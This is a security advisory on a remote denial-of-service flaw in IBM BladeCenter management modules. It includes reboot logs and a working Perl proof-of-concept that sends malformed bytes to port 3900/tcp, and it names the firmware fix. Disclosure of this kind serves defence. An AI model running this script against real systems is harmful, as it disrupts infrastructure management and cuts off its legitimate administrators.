IBM Bladecenter Management Module – Denial of Service
[DSECRG-09-049] IBM BladeCenter Management Module - DoS vulnerability Source: http://www.dsecrg.com/pages/vul/show.php?id=149 This device can be remotely rebooted by sending a malformed TCP packets Digital Security Research Group [DSecRG] Advisory #DSECRG-09-049 Application: IBM BladeCenter Managmet Module Versions Affected: before BPET50G Vendor URL: http://www-03.ibm.com/systems/bladecenter/ Bug: DoS Exploits: YES Reported: 24.07.2009 Vendor response: 26.07.2009 Date of Public Advisory: 15.04.2010 Solution: YES Author: Alexey Sintsov of Digital Security Research Group [DSecRG] Description *********** The BladeCenter management module is a hot-swappable hardware device plugged into the BladeCenter chassis management bay. The management module functions as a system-management processor (service processor) and keyboard, video, and mouse (KVM) multiplexor for blade servers. This device can be remotely rebooted. Details ******* Attacker can reset management module by sending about five or ten malformed packets on remote presence port (3900/tcp). All legal users, who use management module and management network will be disconnected. Network log: Jul 6 16:16:48 212.X.X.X NOTICE mgmt: Port MGT1 DISABLED and MGT2 ENABLED because Management Module 2 is active Jul 6 16:16:49 212.X.X.X ALERT system: link down on port MGT1 Jul 6 16:16:51 212.X.X.X NOTICE system: link up on port MGT2 Jul 6 16:17:18 212.X.X.X NOTICE mgmt: Management via all ports is DISABLED thru I2C Control Register Jul 6 16:17:20 212.X.X.X NOTICE mgmt: New Management IP Address 192.168.Y.Z configured Jul 6 16:17:23 212.X.X.X NOTICE mgmt: Management via all ports is ENABLED thru I2C Control Register BladeCenter log: 9 I SERVPROC 07/06/09, 16:17:19 (SN#YK31337BR11L) Management Module in bay 1 is standby. 10 I SERVPROC 07/06/09, 16:16:54 (SN#YK31337BR11L) Management module network initialization complete 11 I SERVPROC 07/06/09, 16:16:51 (SN#YK31337BR11L) ENET Hostname=BladeMM, IP=192.168.Y.Y, GW=0.0.0.0, Mask=255.255.255.0. 12 I SERVPROC 07/06/09, 16:16:50 (SN#YK31337BR11L) Management Module in bay 2 is primary. 13 E SERVPROC 07/06/09, 16:16:45 AMM reset due to watchdog timeout Proof of Concept: ******************* #!/usr/bin/perl # # BladeCenter AMM DoS # by Alexey Sintsov # Digital Security Research Group # # [http://dsecrg.com] # use Socket; $target='192.168.50.61'; for ($i=1;$i<=20;$i++) { socket(SERVER, AF_INET, SOCK_STREAM, getprotobyname('tcp')); $trash="\xf1"x17; $target_ = inet_aton($target); $paddr=sockaddr_in(3900,$target_); sleep(2); if (connect(SERVER, $paddr)) { recv(SERVER,$buf,20,0); send(SERVER,$trash,1); close(SERVER); print "$i - fire!\n"; } else { print "$i - refused!\n"; } } print "\nDone\n"; Solution ******** The issue has been fixed in AMM firmware version bpet50g and later. Refernces ********* http://dsecrg.com/pages/vul/show.php?id=149 http://www-947.ibm.com/systems/support/supportsite.wss/docdisplay?lndocid=MIGR-5083945&brandind=5000020 About ***** Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS and PA DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website. Contact: research [at] dsecrg [dot] com http://www.dsecrg.com |